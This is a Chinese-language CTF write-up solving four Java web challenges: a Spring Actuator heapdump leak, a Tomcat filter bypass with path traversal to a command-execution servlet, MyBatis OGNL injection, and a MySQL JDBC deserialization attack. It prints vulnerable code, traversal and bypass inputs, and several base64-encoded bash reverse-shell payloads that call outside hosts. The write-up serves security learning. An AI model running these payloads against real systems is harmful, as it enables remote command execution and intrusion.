spring 考点: Spring Actuator heapdump 利⽤
根据 index ⻚⾯的提示可以知道为 spring actuator
参考⽂章: https://xz.aliyun.com/t/9763
访问 /actuator/env 可以发现 app.username 和 app.password 这两个环境变量
app.username 提示 flag 就在 app.password ⾥⾯, 但是它的 value 全是星号, 这⾥其实被 spring 给隐藏了
spring actuator 默认会把含有 password secret 之类关键词的变量的值改成星号, 防⽌敏感信息泄露
但是我们可以通过 /actuator/heapdump 这个路由去导出 jvm 中的堆内存信息, 然后通过⼀定的查询得到
app.password 的明⽂
https://github.com/whwlsfb/JDumpSpider
auth_bypass 考点: Tomcat Filter 绕过 + Java 任意⽂件下载搭配 WEB-INF ⽬录的利⽤
首先分析源码
Authfilter.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example.demo;import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import java.io.IOException;public class AuthFilter implements Filter { @Override public void init (FilterConfig filterConfig) { } @Override public void destroy () { } @Override public void doFilter (ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; if (request.getRequestURI().contains(".." )) { resp.getWriter().write("blacklist" ); return ; } if (request.getRequestURI().startsWith("/download" )) { resp.getWriter().write("unauthorized access" ); } else { chain.doFilter(req, resp); } } }
DonloadServlet.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.example.demo;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.FileInputStream;import java.io.IOException;public class DownloadServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws IOException { String currentPath = this .getServletContext().getRealPath("/assets/" ); Object fileNameParameter = req.getParameter("filename" ); if (fileNameParameter != null ) { String fileName = (String) fileNameParameter; resp.setHeader("Content-Disposition" ,"attachment;filename=" +fileName); try (FileInputStream input = new FileInputStream (currentPath + fileName)) { byte [] buffer = new byte [4096 ]; while (input.read(buffer) != -1 ) { resp.getOutputStream().write(buffer); } } } else { resp.setContentType("text/html" ); resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>" ); } } }
根据DonloadServlet.java可以看出,代码存在任意文件下载的漏洞,但是download路由被Authfilter.java中的代码给过滤了,这边就需要对filter进行绕过,详细绕过方法可以看我另一篇博客filter设计缺陷导致的权限绕过
这边我们采用**/;sac/download**来进行绕过
接下来我们通过传入filename的参数实现任意文件下载,注意因为代码中是protected void doGet ,所以我们只能用get传filename参数
根据题⽬描述, ⽹站使⽤ war 打包,关于war包的目录结构在我的WAR包的目录结构 的博客里有
这边先访问web.xml文件,查看路由和类(class目录下)的映射关系。因为..被过滤了,所以根据我的filter设计缺陷导致的权限绕过 这篇博客,要用url编码进行绕过
下载了一个_WEB-INF_web.xml文件,我们打开看一下
看到了可疑的路由/You_Find_This_Evil_Servlet_a76f02cb8422和它所对应的类com.example.demo.EvilServlet,看不懂的可以去看我的WAR包的目录结构 这篇博客
接下来我们先要获取到这个类的文件,filename访问%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class
下载得到了_WEB-INF_classes_com_example_demo_EvilServlet.class文件,用JD-GUI反编译java工具打开
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.io.IOException ;import javax.servlet.http.HttpServlet ;import javax.servlet.http.HttpServletRequest ;import javax.servlet.http.HttpServletResponse ; public class EvilServlet extends HttpServlet { protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { String cmd = req.getParameter("Evil_Cmd_Arguments_fe37627fed78" ); try { Runtime .getRuntime().exec(cmd); resp.getWriter().write("success" ); } catch (Exception e) { resp.getWriter().write("error" ); } } }
可以看到有命令执行,最后因为没有回显,那么我们直接post传参反弹shell即可
这边反弹shell命令要进行编码,具体看
https://www.anquanke.com/post/id/243329
https://y4er.com/posts/java-exec-command/
1 bash+-c+{echo,YmFzaCAtYyAiYmFzaCAtaSA% 2 BJiAvZGV2 L3 RjcC84 LjE0 Ni4 yMDkuOTgvNzc3 IDA% 2 BJjEi}|{base64 ,-d}|{bash,-i}
这边注意对echo后面的要进行编码,不然会有特殊字符
成功!
YourBatis 这有⼀个⼩坑, 如果 jar 包使⽤ JD-GUI 反编译的话就⽆法正常得到 UserSqlProvider 这个类的内容, 必须得使⽤
IDEA ⾃带的反编译器或者 Jadx-GUI 等其它⼯具才⾏
利用idea的反编译命令,在编译之前创建好out目录
1 java -cp "F:\java IDLE\IntelliJ IDEA 2023.2.1\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains .java .decompiler .main .decompiler .ConsoleDecompiler -dgs=true .\YourBatis.jar out
反编译完之后还是jar包,将jar包解压
得到一系列文件,找到pom.xml文件
发现使用了mybatis,可能会有漏洞,详细看我的Mybatis从SQL注入到OGNL注入
发现存在漏洞点
根据参考⽂章可以知道这⾥的 username 被直接拼接进 SQL 语句, 存在 SQL 注⼊, 但是更进⼀步来讲这⾥存在
OGNL 表达式注⼊
在 OGNL 表达式当中也可以访问静态变量或者调用静态方法,格式如 @[class]@[field/method ()]。
1 2 3 4 5 6 7 8 public static String ONE = "one" ;public static void demo3 () throws OgnlException { Object object1 = Ognl.getValue("@sample.ognl.OgnlDemo@ONE" , null ); Object object2 = Ognl.getValue("@sample.ognl.OgnlDemo@demo2()" , null ); System.out.println(object1); System.out.println(object2); }
直接反弹 shell
1 ${ @java .lang.Runtime @getRuntime ().exec("bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0Ni4yMDkuOTgvNzc3IDA+JjEi}|{base64,-d}|{bash,-i}" )}
但是很显然是会失败的, 因为传⼊的命令包含了 { 和 } , 会被递归解析为另⼀个 OGNL 表达式的开头和结尾
解决⽅案是只要不出现⼤括号就⾏, ⽅法很多, 这⾥给出⼀种, 利⽤ OGNL 调⽤ Java ⾃身的 base64 decode ⽅法
1 2 ${@java.lang .Runtime@getRuntime ().exec (new java.lang .String (@java.util .Base64@getDecoder ().decode ('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdFl5QWlZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFME5pNHlNRGt1T1Rndk56YzNJREErSmpFaX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9' )))}
urlencode 全部字符后发送, 反弹 shell, 查看环境变量拿到 flag
TestConnection 自己搭一个docker环境来复现
http://111.229.162.217:1236/
获取题目附件的jar包后进行反编译,可以看到项目的文件
首先找到pom.xml
然后右键导入maven项目,导入之后会有警告
其中可以找到几个关键的cve,最后查到是CVE-2022-21724
可以去看我的MYSQL_JDBC反序列化解析 ,里面具体介绍了怎么利用漏洞
漏洞注入的关键代码在
可以看到我们要传driver(驱动),url(数据库的地址),username(数据库用户名),password(数据库用户名密码)这四个参数
其中由于url参数的可控给我们提供了代码执行的条件
接下来我们需要准备一个恶意的数据库然后去连接,命令执行
这边介绍一个利用的工具:https://github.com/4ra1n/mysql-fake-server
这个工具可以生成payload并且创建一个恶意的数据库让用户去连接然后去命令执行
注意: 用docker搭建恶意的数据库的时候要确保docker的版本高,低的docker版本无法搭建
生成的payload
1 jdbc: mysql://111.111 .111 .111 :1234 /test?autoDeserialize=true&queryInterceptors=com .mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC44
需要修改一下
⾸先得注意, 因为题⽬给的代码是 DriverManager.getConnection(url, username, password); , 即会单独传
⼊⼀个 username 参数, 因此 url 中的 username 会被后⾯的 username 给覆盖
其次, 因为 jdbc url 本身也符合 url 的规范, 所以在传 url 参数的时候, 需要把 url 本身全部进⾏ url 编码, 防⽌服务
器错把 autoDeserialize, queryInterceptors 这些参数当成是⼀个 http get 参数, ⽽不是 jdbc url ⾥⾯的参数
最后依然是 Runtime.exec 命令编码 的问题这个也可以去看我的相关博客
修改好的payload
1 2 ?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://host.docker.internal:3308/test?autoDeserialize=true &queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo ,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64 ,- d}|{bash,-i}&password=123
之后编码用get方法上传
1 2 3 4 5 6 7 8 9 10 ?driver= com.mysql.cj.jdbc.Driver&url= %6 a%64 %62 %63 %3 a%6 d%79 %73 %71 %6 c %3 a%2 f%2 f%68 %6 f%73 %74 %2 e%64 %6 f%63 %6 b%65 %72 %2 e%69 %6 e%74 %65 %72 %6 e%61 %6 c %3 a%33 %33 %30 %38 %2 f%74 %65 %73 %74 %3 f%61 %75 %74 %6 f%44 %65 %73 %65 %72 %69 %61 %6 c %69 %7 a%65 %3 d%74 %72 %75 %65 %26 %71 %75 %65 %72 %79 %49 %6 e%74 %65 %72 %63 %65 %70 %74 %6 f%72 %73 %3 d%63 %6 f%6 d%2 e%6 d%79 %73 %71 %6 c %2 e%63 %6 a%2 e%6 a%64 %62 %63 %2 e%69 %6 e%74 %65 %72 %63 %65 %70 %74 %6 f%72 %73 %2 e%53 %65 %72 %76 %65 %72 %53 %74 %61 %74 %75 %73 %44 %69 %66 %66 %49 %6 e%74 %65 %72 %63 %65 %70 %74 %6 f%72 &username= %64 %65 %73 %65 %72 %5 f%43 %43 %33 %31 %5 f%62 %61 %73 %68 %20 %2 d%6 3 %20 %7 b%65 %63 %68 %6 f%2 c %59 %6 d%46 %7 a%61 %43 %41 %74 %61 %53 %41 %2 b%4 a%69 %41 %76 %5 a%47 %56 %32 %4 c %3 3 %52 %6 a%63 %43 %39 %6 f%62 %33 %4 e%30 %4 c %6 d%52 %76 %59 %32 %74 %6 c %63 %69 %35 %70 %62 %6 e%52 %6 c %63 %6 d%3 5 %68 %62 %43 %38 %30 %4 e%44 %51 %30 %49 %44 %41 %2 b%4 a%6 a%45 %3 d%7 d%7 c %7 b%62 %61 %73 %65 %36 %34 %2 c %2 d%6 4 %7 d%7 c %7 b%62 %61 %73 %68 %2 c %2 d%69 %7 d&password= 123